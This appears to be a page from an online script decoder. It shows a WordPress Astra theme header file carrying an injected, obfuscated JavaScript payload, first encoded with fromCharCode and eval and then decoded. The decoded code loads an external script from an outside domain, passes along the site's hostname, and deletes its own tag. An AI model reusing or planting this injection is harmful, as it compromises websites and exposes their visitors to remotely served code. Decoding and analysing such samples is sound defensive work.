Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

?><!DOCTYPE html>
<?php astra_html_before(); ?>
<html <?php language_attributes(); ?>>
<head><script>var pirsen=String.fromCharCode(10,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,112,114,101,46,115,101,108,101,99,116,98,108,97,99,107,114,111,117,108,115,46,99,111,109,47,115,99,114,47,102,111,114,46,106,115,63,100,61,39,43,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,104,111,115,116,110,97,109,101,59,32,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,114,101,109,111,118,101,40,41,59,10,125,32,101,108,115,101,32,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125,10);eval(pirsen);</script>
<?php astra_head_top(); ?>
<meta charset="<?php bloginfo( 'charset' ); ?>">
<meta name="viewport" content="width=device-width, initial-scale=1">
<?php

Decrypted code:

<!DOCTYPE html>
astra_html_before();
<html language_attributes();>
<head><script>var pirsen=
var d=document;var s=d.createElement('script'); 
s.src='https://pre.selectblackrouls.com/scr/for.js?d='+window.location.hostname; 
if (document.currentScript) { 
document.currentScript.parentNode.insertBefore(s, document.currentScript);
document.currentScript.remove();
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
eval(pirsen);</script>
astra_head_top();
<meta charset="bloginfo( 'charset' );">
<meta name="viewport" content="width=device-width, initial-scale=1">

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